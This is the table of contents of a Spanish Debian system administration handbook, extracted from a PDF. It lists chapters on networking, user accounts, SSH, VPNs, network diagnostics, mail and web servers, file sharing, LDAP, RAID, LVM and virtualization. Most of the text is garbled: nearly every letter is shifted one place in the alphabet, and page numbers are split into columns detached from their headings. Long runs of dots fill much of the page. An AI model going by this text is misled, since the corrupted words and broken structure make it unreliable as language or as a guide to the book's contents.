.

.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.

...............................
.EFNT DPNQBUJCMFT DPO 1151 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
.EFNT DPNQBUJCMFT DPO %)$1 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
 $POGJHVSBDJO EF SFE BVUPNUJDB QBSB VTVBSJPT FSSBOUFT . . . . . . . . . . . . . . . . . .
 %FGJOJDJO EFM OPNCSF EF FRVJQP Z DPOGJHVSBDJO EFM TFSWJDJP EF OPNCSFT . . . .
 3FTPMVDJO EF OPNCSFT . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
$POGJHVSBDJO EF TFSWJEPSFT %/4 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
&M BSDIJWP /etc/hosts . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
 #BTFT EF EBUPT EF VTVBSJPT Z HSVQPT . . . . . . . . . . . . . . . . . . . . . . . . . . . .
 -JTUB EF VTVBSJPT /etc/passwd . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
 &M BSDIJWP EF DPOUSBTFBT PDVMUBT Z DJGSBEBT /etc/shadow . . . . . . . . . . . . . . . . . .
 .PEJGJDBDJO EF VOB DVFOUB P DPOUSBTFB FYJTUFOUF . . . . . . . . . . . . . . . . . . . . .
 %FTBDUJWBDJO EF VOB DVFOUB . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
 -JTUB EF HSVQPT /etc/group . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
 $SFBDJO EF DVFOUBT . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
 &OUPSOP EF DPOTPMB . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
 $POGJHVSBDJO EF JNQSFTPSBT . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
 $POGJHVSBDJO EFM HFTUPS EF BSSBORVF . . . . . . . . . . . . . . . . . . . . . . . . . . . .
 *EFOUJGJDBDJO EF EJTDPT . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
 $POGJHVSBDJO EF -*-0 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
 $POGJHVSBDJO EF (36#  . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
 1BSB FRVJQPT .BDJOUPTI 1PXFS1$
 DPOGJHVSBDJO EF :BCPPU . . . . . . . . . . . . . . . .
 0USBT DPOGJHVSBDJPOFT TJODSPOJ[BDJO EF UJFNQP SFHJTUSPT BDDFTP DPNQBSUJEP
 ;POB IPSBSJB . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
 4JODSPOJ[BDJO EF UJFNQP . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
1BSB FTUBDJPOFT EF USBCBKP . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
1BSB TFSWJEPSFT . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
 3PUBDJO EF BSDIJWPT EF SFHJTUSP . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
 $PNQBSUJDJO EF QFSNJTPT EF BENJOJTUSBDJO . . . . . . . . . . . . . . . . . . . . . . . .
 -JTUB EF QVOUPT EF NPOUBKF . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
 locate Z updatedb . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
 $PNQJMBDJO EF VO ODMFP . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
 *OUSPEVDDJO Z QSFSFRVJTJUPT . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
 0CUFODJO EF MBT GVFOUFT . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
 $POGJHVSBDJO EFM ODMFP . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
 $PNQJMBDJO Z DSFBDJO EFM QBRVFUF . . . . . . . . . . . . . . . . . . . . . . . . . . . .
 $PNQJMBDJO EF NEVMPT FYUFSOPT . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
 "QMJDBDJO EF VO QBSDIF BM ODMFP . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
 *OTUBMBDJO EF VO ODMFP . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
 $BSBDUFSTUJDBT EF VO QBRVFUF %FCJBO EFM ODMFP . . . . . . . . . . . . . . . . . . . . . .
 *OTUBMBDJO DPO dpkg . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
.EFNT DPNQBUJCMFT DPO 1110&

.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.

159
159
159
160
161
161
162
162
163
163
164
164
165
165
166
167
169
169
170
172
173
173
175
175
176
177
177
177
178
178
180
181
181
182
183
184
185
186
186
186
187

 4FSWJDJPT 6OJY

189
 "SSBORVF EFM TJTUFNB . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 190

OEJDF HFOFSBM

7**

 *OJDJP EF TFTJO SFNPUP . . . . . . . . .


 *OJDJP TFHVSP EF TFTJO SFNPUB 44) .
"VUFOUJDBDJO CBTBEB FO MMBWFT . . . .
6UJMJ[BDJO BQMJDBDJPOFT 9 SFNPUBT .

.
.
.
.

.
.
.
.

.
.
.
.

.
.
.
.

.
.
.
.

.
.
.
.

.
.
.
.

.........................
.........................
.........................
.........................
$SFBDJO EF UOFMFT DJGSBEPT DPO SFEJSFDDJO EF QVFSUPT . . . . . . . . . . . . . . . . . . . . . . . . .
 6UJMJ[BDJO EF FTDSJUPSJPT HSGJDPT SFNPUPT . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
 "ENJOJTUSBDJO EF QFSNJTPT . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
 *OUFSGBDFT EF BENJOJTUSBDJO . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
 "ENJOJTUSBDJO FO VOB JOUFSGB[ XFC webmin . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
 $POGJHVSBDJO EF QBRVFUFT debconf . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
 syslog &WFOUPT EF TJTUFNB . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
 1SJODJQJP Z NFDBOJTNP . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
 &M BSDIJWP EF DPOGJHVSBDJO . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
4JOUBYJT EFM TFMFDUPS . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
4JOUBYJT EF MBT BDDJPOFT . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
 &M TVQFSTFSWJEPS inetd . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
 1SPHSBNBDJO EF UBSFBT DPO cron Z atd . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
 'PSNBUP EF VO BSDIJWP crontab . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
 6UJMJ[BDJO EFM QSPHSBNB at . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
 1SPHSBNBDJO EF UBSFBT BTJODSOJDBT anacron . . . . . . . . . . . . . . . . . . . . . . . . . .
 $VPUBT . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
 3FTQBMEP . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
 3FTQBMEPT DPO rsync . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
 3FTUBVSBDJO EF FRVJQPT TJO SFQBMEPT . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
 $POFYJO FO DBMJFOUF IPUQMVH . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
 *OUSPEVDDJO . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
 &M QSPCMFNB EF OPNCSFT . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
 $NP GVODJPOB VEFW . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
 6O FKFNQMP DPODSFUP . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
 (FTUJO EF FOFSHB JOUFSGB[ BWBO[BEB EF DPOGJHVSBDJO Z FOFSHB "$1* k"EWBODFE
$POGJHVSBUJPO BOE 1PXFS *OUFSGBDF
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

 *OGSBFTUSVDUVSB EF SFE


 1VFSUB EF FOMBDF . . . . . . . . . . . . . . . . .
 3FE WJSUVBM QSJWBEB . . . . . . . . . . . . . . .
 0QFO71/ . . . . . . . . . . . . . . . . . .
*OGSBFTUSVDUVSB EF MMBWF QCMJDB FBTZSTB . . .
$POGJHVSBDJO EFM TFSWJEPS 0QFO71/ . . . . .
$POGJHVSBDJO EFM DMJFOUF 0QFO71/ . . . . .
 3FE QSJWBEB WJSUVBM DPO 44) . . . . . . . . .
 *1TFD . . . . . . . . . . . . . . . . . . . . .
 1151 . . . . . . . . . . . . . . . . . . . . .
$POGJHVSBDJO EFM DMJFOUF . . . . . . . . . .
$POGJHVSBDJO EFM TFSWJEPS . . . . . . . . . .

7***

&M MJCSP EFM BENJOJTUSBEPS EF %FCJBO

.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.

195
195
196
198
198
199
201
203
204
205
206
206
207
207
207
208
210
210
212
213
214
215
215
218
219
219
219
220
221
223
227
228
230
230
231
234
235
236
236
237
237
238

 $BMJEBE EFM TFSWJDJP . . . . . . . . . . . . . . .


 1SJODJQJP Z NFDBOJTNP . . . . . . . . . . .
 $POGJHVSBDJO F JNQMFNFOUBDJO . . . . . .
3FEVDDJO EF MBUFODJBT wondershaper . . . .
$POGJHVSBDJO FTUOEBS . . . . . . . . . . .
 &OSVUBNJFOUP EJONJDP . . . . . . . . . . . .
 *1W . . . . . . . . . . . . . . . . . . . . . . . . .
 5OFMFT . . . . . . . . . . . . . . . . . . .
 4FSWJEPSFT EF OPNCSFT EF EPNJOJP %/4

 1SJODJQJP Z NFDBOJTNP . . . . . . . . . . .


 $POGJHVSBDJO . . . . . . . . . . . . . . . .
 %)$1 . . . . . . . . . . . . . . . . . . . . . . .
 1SFTFOUBDJO . . . . . . . . . . . . . . . . .
 $POGJHVSBDJO . . . . . . . . . . . . . . . .
 %)$1 Z %/4 . . . . . . . . . . . . . . . .
 )FSSBNJFOUBT EF EJBHOTUJDP EF SFE . . . .
 %JBHOTUJDP MPDBM netstat . . . . . . . . .
 %JBHOTUJDP SFNPUP nmap . . . . . . . . . .
 k4OJFST{ tcpdump Z wireshark . . . . . .

.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.

241
241
242
242
242
243
244
245
246
246
247
250
250
250
251
252
252
253
255

 4FSWJDJPT EF SFE 1PTUGJY "QBDIF /'4 4BNCB 4RVJE


-%"1
259
............
.........
 $POGJHVSBDJO EF EPNJOJPT WJSUVBMFT .
"MJBT EF EPNJOJP WJSUVBM . . . . . . . .
$BTJMMBT EF EPNJOJP WJSUVBM . . . . . .
 3FTUSJDDJPOFT QBSB SFDJCJS Z FOWJBS . .
3FTUSJDDJPOFT EF BDDFTP CBTBEBT FO *1 . .

.
.
.
.
.
.
.
3FWJTJO EF MB WBMJEF[ EF MBT SEFOFT &)-0 P )&-0
.
"DFQUBDJO P SFDIB[P CBTBEP FO FM SFNJUFOUF BOVODJBEP
.
"DFQUBDJO P SFDIB[P CBTBEP FO FM SFDFQUPS . . . . .
.
3FTUSJDDJPOFT BTPDJBEBT DPO MB PSEFO %"5" . . . . .
.
*NQMFNFOUBDJO EF SFTUSJDDJPOFT . . . . . . . . . .
.
'JMUSPT CBTBEPT FO FM DPOUFOJEP EFM NFOTBKF . . . . .
.
 $POGJHVSBDJO EF kMJTUBT HSJTFT{ HSFZMJTUJOH
. . .
.
 1FSTPOBMJ[BDJO EF GJMUSPT CBTBEPT FO FM SFDFQUPS .
.
 *OUFHSBDJO DPO VO BOUJWJSVT . . . . . . . . . . .
.
 4.51 BVUFOUJDBEP . . . . . . . . . . . . . . . . .
.
 4FSWJEPS XFC )551
. . . . . . . . . . . . . . . . .
.
 *OTUBMBDJO EF "QBDIF . . . . . . . . . . . . . . .
.
 $POGJHVSBDJO EF TFSWJEPSFT WJSUVBMFT kWJSUVBM IPTUT{
.
 %JSFDUJWBT DPNVOFT . . . . . . . . . . . . . . . . . . .
"VUFOUJDBDJO PCMJHBUPSJB . . . . . . . . . . . . . . . .
 4FSWJEPS EF DPSSFP

 *OTUBMBDJO EF 1PTUGJY

.
.
.
.
.
.
.

.
.
.
.
.
.
.

.
.
.
.
.
.
.

.
.
.
.
.
.
.

.
.
.
.
.
.
.

.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.

260
260
264
264
265
266
266
268
268
269
269
270
270
271
273
274
275
276
277
278
280
281

OEJDF HFOFSBM

*9

.........................
 "OBMJ[BEPSFT EF SFHJTUSPT . . . . . . . . . . . . . . . . . . . . . . .
 4FSWJEPS EF BSDIJWPT '51 . . . . . . . . . . . . . . . . . . . . . . . .
 4FSWJEPS EF BSDIJWPT /'4 . . . . . . . . . . . . . . . . . . . . . . . .
 1SPUFDDJO EF /'4 . . . . . . . . . . . . . . . . . . . . . . . . . . .
 4FSWJEPS /'4 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
 $MJFOUF /'4 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
 $POGJHVSBDJO EF FTQBDJPT DPNQBSUJEPT 8JOEPXT DPO 4BNCB
 4FSWJEPS 4BNCB . . . . . . . . . . . . . . . . . . . . . . . . . . . .
$POGJHVSBDJO DPO debconf . . . . . . . . . . . . . . . . . . . . . .
$POGJHVSBDJO NBOVBM . . . . . . . . . . . . . . . . . . . . . . . .
 $MJFOUF 4BNCB . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
&M QSPHSBNB smbclient . . . . . . . . . . . . . . . . . . . . . . . .
.POUBKF EF FTQBDJPT DPNQBSUJEPT EF 8JOEPXT . . . . . . . . . . . . . .
*NQSFTJO FO VOB JNQSFTPSB DPNQBSUJEB . . . . . . . . . . . . . . . . .
 1SPYZ )551'51 . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
 *OTUBMBDJO . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
 $POGJHVSBDJO EF VO DBDI . . . . . . . . . . . . . . . . . . . . . .
 $POGJHVSBDJO EF VO GJMUSP . . . . . . . . . . . . . . . . . . . . . . .
 %JSFDUPSJP -%"1 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
 *OTUBMBDJO . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
 3FMMFOP EFM EJSFDUPSJP . . . . . . . . . . . . . . . . . . . . . . . . .
 "ENJOJTUSBDJO EF DVFOUBT DPO -%"1 . . . . . . . . . . . . . . . . .
$POGJHVSBDJO EF /44 . . . . . . . . . . . . . . . . . . . . . . . . .
$POGJHVSBDJO EF 1". . . . . . . . . . . . . . . . . . . . . . . . .
1SPUFDDJO EF JOUFSDBNCJPT EF EBUPT -%"1 . . . . . . . . . . . . . . .
3FTUSJDDJO EF BDDFTP

.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.

282
282
284
285
286
288
289
289
289
290
291
294
294
294
295
295
295
296
296
297
297
299
300
300
301
302

.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.

307
308
308
309
312
318
319
319
320
325
327
330
331
336
338
338
339

 "ENJOJTUSBDJO BWBO[BEB


 3"*% Z -7. . . . . . . . . . . . .
 3"*% QPS TPXBSF . . . . . . .
%JGFSFOUFT OJWFMFT EF 3"*% . .
$POGJHVSBDJO EF 3"*% . . . .
3FTQBMEPT EF MB DPOGJHVSBDJO .
 -7. . . . . . . . . . . . . . .
$PODFQUPT EF -7. . . . . . .
$POGJHVSBDJO EF -7. . . . .
-7. FO FM UJFNQP . . . . . .
 3"*% P -7. . . . . . . . . .
 7JSUVBMJ[BDJO . . . . . . . . . . .
 9FO . . . . . . . . . . . . . . .
 -9$ . . . . . . . . . . . . . .
1BTPT QSFMJNJOBSFT . . . . . .
$POGJHVSBDJO EF SFE . . . . .
$POGJHVSBDJO EFM TJTUFNB . . .

&M MJCSP EFM BENJOJTUSBEPS EF %FCJBO

.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.

..
 7JSUVBMJ[BDJO DPO ,7. .
1BTPT QSFMJNJOBSFT . . .
$POGJHVSBDJO EF SFE . .

.
.
.
.
*OTUBMBDJO DPO virt-install
.
"ENJOJTUSBDJO EF NRVJOBT DPO virsh
.
*OTUBMBDJO EF VO TJTUFNB CBTBEP FO 31. TPCSF %FCJBO DPO ZVN .
 *OTUBMBDJO BVUPNBUJ[BEB . . . . . . . . . . . . . . . . . . .
*OJDJP EFM DPOUFOFEPS

.
.
.
.

.
.
.
.

.
.
.
.
.

.
.
.
.
.

.
.
.
.
.

.
.
.
.
.

.
.
.
.
.
.

.
.
.
.
.
.

.
.
.
.
.
.

.
.
.
.
.
.

.
.
.
.
.
.

.
.
.
.
.
.

.
.
.
.
.
.

.
.
.
.
.
.

.
.
.
.
.
.

.
.
.
.
.
.

.
.
.
.
.
.

.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.

 *OTUBMBEPS DPNQMFUBNFOUF BVUPNUJDP '"* k'VMMZ "VUPNBUJD *OTUBMMFS{

..........
6UJMJ[BDJO EF VO BSDIJWP EF QSFTFNCSBEP . . . . . . .
$SFBDJO EF VO BSDIJWP EF QSFTFNCSBEP . . . . . . . .
$SFBDJO EF VO NFEJP EF BSSBORVF QFSTPOBMJ[BEP . . .
 4JNQMF$%% MB TPMVDJO UPEPFOVOP . . . . . . . .
$SFBDJO EF QFSGJMFT . . . . . . . . . . . . . . . . .
$POGJHVSBDJO Z VTP EF build-simple-cdd . . . . . .
(FOFSBDJO EF VOB JNBHFO *40 . . . . . . . . . . . .
 .POJUPSJ[BDJO . . . . . . . . . . . . . . . . . . . . .
 $POGJHVSBDJO EF .VOJO . . . . . . . . . . . . . .
$POGJHVSBDJO EF MPT FRVJQPT B NPOJUPSJ[BS . . . . . .
$POGJHVSBDJO EFM HSBGJDBEPS . . . . . . . . . . . . .
 $POGJHVSBDJO EF /BHJPT . . . . . . . . . . . . . .
*OTUBMBDJO . . . . . . . . . . . . . . . . . . . . .
$POGJHVSBDJO . . . . . . . . . . . . . . . . . . .
 1SFTFNCSBEP EF %FCJBO*OTUBMMFS

.
.
.
.
.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
